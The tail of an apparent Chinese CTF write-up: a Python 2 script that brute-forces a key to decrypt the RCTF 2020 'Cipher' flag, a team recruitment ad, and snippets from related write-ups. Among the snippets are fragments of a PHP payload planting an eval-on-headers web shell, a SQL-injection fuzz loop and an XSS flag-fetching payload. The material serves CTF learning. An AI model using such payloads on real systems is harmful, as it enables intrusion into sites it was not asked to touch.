def crack(): check = [0x2A, 0x00, 0xF8, 0x2B, 0xE1, 0x1D, 0x77, 0xC1, 0xC3, 0xB1, 0x71, 0xFC, 0x23, 0xD5, 0x91, 0xF4, 0x30, 0xF1, 0x1E, 0x8B, 0xC2, 0x88, 0x59, 0x57, 0xD5, 0x94, 0xAB, 0x77, 0x42, 0x2F, 0xEB, 0x75, 0xE1, 0x5D, 0x76, 0xF0, 0x46, 0x6E, 0x98, 0xB9, 0xB6, 0x51, 0xFD, 0xB5, 0x5D, 0x77, 0x36, 0xF2] check = struct.unpack('>'+'Q'*6,''.join(map(chr,check))) for i in range(0x10000): c = i d = 0 c,d = struct.unpack('QQ',struct.pack('>QQ',c,d)) r1,r2 = decrypt(check[0],check[1],c,d) tmp1 = struct.pack('>Q',r1) if 'RCTF{' in tmp1: print i,tmp1 break def de_flag(): check = [0x2A, 0x00, 0xF8, 0x2B, 0xE1, 0x1D, 0x77, 0xC1, 0xC3, 0xB1, 0x71, 0xFC, 0x23, 0xD5, 0x91, 0xF4, 0x30, 0xF1, 0x1E, 0x8B, 0xC2, 0x88, 0x59, 0x57, 0xD5, 0x94, 0xAB, 0x77, 0x42, 0x2F, 0xEB, 0x75, 0xE1, 0x5D, 0x76, 0xF0, 0x46, 0x6E, 0x98, 0xB9, 0xB6, 0x51, 0xFD, 0xB5, 0x5D, 0x77, 0x36, 0xF2] check = struct.unpack('>'+'Q'*6,''.join(map(chr,check))) flag = '' for i in range(len(check)/2): c,d = struct.unpack('QQ',struct.pack('>QQ',4980,0)) r1,r2 = decrypt(check[2*i],check[2*i+1],c,d) flag += struct.pack('>Q',r1) flag += struct.pack('>Q',r2) print flag

def main(): crack() de_flag()



招新小廣告

ChaMd5 ctf組 長期招新

尤其是crypto+reverse+pwn+合約的大佬

歡迎聯繫admin@chamd5.org

相關焦點

  • RCTF2020 部分Writeup
    高校戰「疫」網絡安全分享賽第49名De1CTF 2020第34名第二屆網鼎杯青龍組線上第90名RCTF
  • 2019高校運維賽writeup
    && is_callable($f) && !; aThisIsNotKey[j] ^= 7u; }然後fini_array才是最後的比較函數for ( i = 0; i <= 15; ++i ) { result = (unsigned __int8)byte_202040[i + 0x10]; if ( byte_2020E0
  • 「壞鄰居」漏洞 CVE-2020-16898 的 Writeup
    我能找到的唯一的額外信息是根據檢測邏輯編寫的 write-up。命運就是如此神奇:關於如何防範攻擊的信息竟然有助於編寫 exploit 的 writeup:最重要的信息如下:「雖然忽略所有非 RDNSS 的 Options,但對於 Option Type = 25 (RDNSS),我們會檢查 Lengption (Option 中的第二個字節)是否為偶數。
  • SCTF2020 官方Write-up
    參數就是 '/index.php' 然後是劫持,我們無法輸入任何括號和空格,所以無法直接import werkzeug 需要通過一個繼承鏈關係來找到werkzeug這個類 直接拿出tokyowestern 2018年 shrine的找繼承鏈腳本(https://eviloh.github.io/2018/09/03/TokyoWesterns-2018-shrine-writeup
  • SUCTF-WriteUp(下)
    >   out(fd);   out(fd);   scanf("%ld %ld",&magic1,&magic2);   buf[30]=0x800000;   buf[31]=0xffffffffffffffff;   buf[32]=magic1-0x88;   new(fd,0x100);   write
  • 0RAYS-祥雲杯writeup
    __class__, '__name__')), 404if __name__ == '__main__': f_handler=open('/var/log/app.log', 'w') sys.stderr=f_handler app.run(debug=True, host='0.0.0.0',port=8888) win.讀源碼可得user可控。
  • 2020 *ctf 部分pwn writeup
    a5,-0x79c(gp)00010460 b9 9f c.addw a5,a400010462 81 27 c.addiw a5,0x000010464 82 17 c.slli a5,0x2000010466 81 93 c.srli a5,0x2000010468 63 94 f6
  • SCTF Writeup By W&M
    SCTF2020 已落下帷幕,W&M總計完成26道題
  • NSCTF "SteinsGate"詳細writeup
    】NSCTF "SteinsGate"詳細writeupFrom ChaMd5安全團隊核心成員 sherlly的前幾位已知為『64bit』,開始爆破uid和r1,r1由已知應該是1到3位,uid的位數可以通過t0確定(由於t0為45位,r最少為1位,可以算出uid位數應該在1-4之間[1,45-8-32-1])寫腳本爆破並對求得的符合要求的md5值(末位為』e』)與t1的末32位異或,找到符合要求的部分flag(只含字母、數字、』_』、』}』)得到部分flag:』ce_0f_st3ints_G4t3
  • RCTF 2020逆向Cipher
    從 cipher 函數直接跳轉到 encrypt 函數同樣容易出現代碼未加載的問題,我們可以先跳轉到 cipher 中調用 encrypt 函數的位置,然後 f7 步入。ghidra 可以輕鬆確定 encrypt 中我們歸納的那個 c,d 的傳值的位置:可以看到此時 c = 0x85f1 0000 0000 0000所以 c = char(rand1)<<56 + char(rand2)<<48,d = 0這個的動調太容易讓程序以及 ida 崩潰了,不知道大佬們有沒有什麼方法能使得跳轉地址時代碼可以正常加載出來
  • 極客大挑戰2020 官方Write-up
    php mt_srand(%d);for($i=0;$i<300;$i++){$b=mt_rand();}echo mt_rand();" % seedwith open("test.php", "w+") as f:    f.write(code)result = int(check_output('php test.php').decode())remove
  • 安洵杯2020 官方Writeup(Pwn)
    程序開了沙箱, 只能採用open, read, write來列印flag或者利用lgx::http::send_file函數來獲取flag。elf_path) io = remote(server_ip, server_port) if LIBC: libc = ELF(libc_path) exploit() finish()attack log┌[logan☮arch]-(~/share/axb2020
  • WMCTF-WriteUp
    \n";unlink('aaa');$content='php://filter/write=resource=2222<?=EVAL(END(GETALLHEADERS()));EXIT();?>11'.urldecode($c)."/../1aa";echo urlencode($content)."
  • TISC 2020 CTF 題目分析及writeups
    (bytes.fromhex(data.decode("ascii"))) out_file = new_filename else: new_filename = '{}f'.format(filename) open(new_filename, 'wb').write(base64.b64decode(data))
  • OGeek線上CTF挑戰賽pwn題詳細Write Up
    Length: " + fake_ab.byteLength);var rw = {set_addr: function (addr) { o.f = addr.asDouble(); },write: function (addr, bytes) {this.set_addr(addr);var view = new Uint8Array(fake_ab); view.set
  • 湖湘杯-WriteUp
    \xd4l9t\x85\xe8\x8a\xbe\xbb\xf9\xf6f\x9d\xf2\xd19\xa2K\xb6\xcd\xcf\xf6~\xd5\xa9\xaa\x15\xd8\x8e\xb3\x81m9\xe4f\xb2!
  • HCTF2018 WriteUp
    requests.post(url,cookies=cookie,timeout=1.5)   return 0  except:   return 1result = ''for i in range(32,50): for j in fuzz:  payload = '{"admin_user":"admin\'/**/and/**/\u0069f(
  • TCTF/0CTF2018 XSS Writeup
    下面寫一種來自@超威藍貓的解法,非常有趣的思路,payload大概是這樣的https://blog.cal1.cn/post/0CTF%202018%20Quals%20Bl0g%20writeupid"><form name=effects id="<script>$.get('/flag',e=>name=e)">
  • De1CTF Writeup By V&N
    -4c74-8b70-1f2fa45dd4be?a:y#[)=)Q`O#@<GrF]seu`r@skM:>dm$ DE1CTF2020.LAB (null)user domain passweb DE1CTF2020.LAB (null)web DE1CTF2020.LAB Deee1CTF_2020
  • SCTF2019 Writeup——De1ta 文末有彩蛋
    , 0x5e67f4953462f66d217e4bf80fd4f591cbe22a8a3eac42f681aea880f0f90e4a34aca250b01754dd49d3b7512011609f757cbaf8ae7c97d5894fb92fb36595aff4a1303d01e5c707284bbfdc20b8378e046650675353e471853fa294f779df7b1b3f7cbe1748c2109d22cea682b01cb2c7719df03783e66cc3e44889a002c517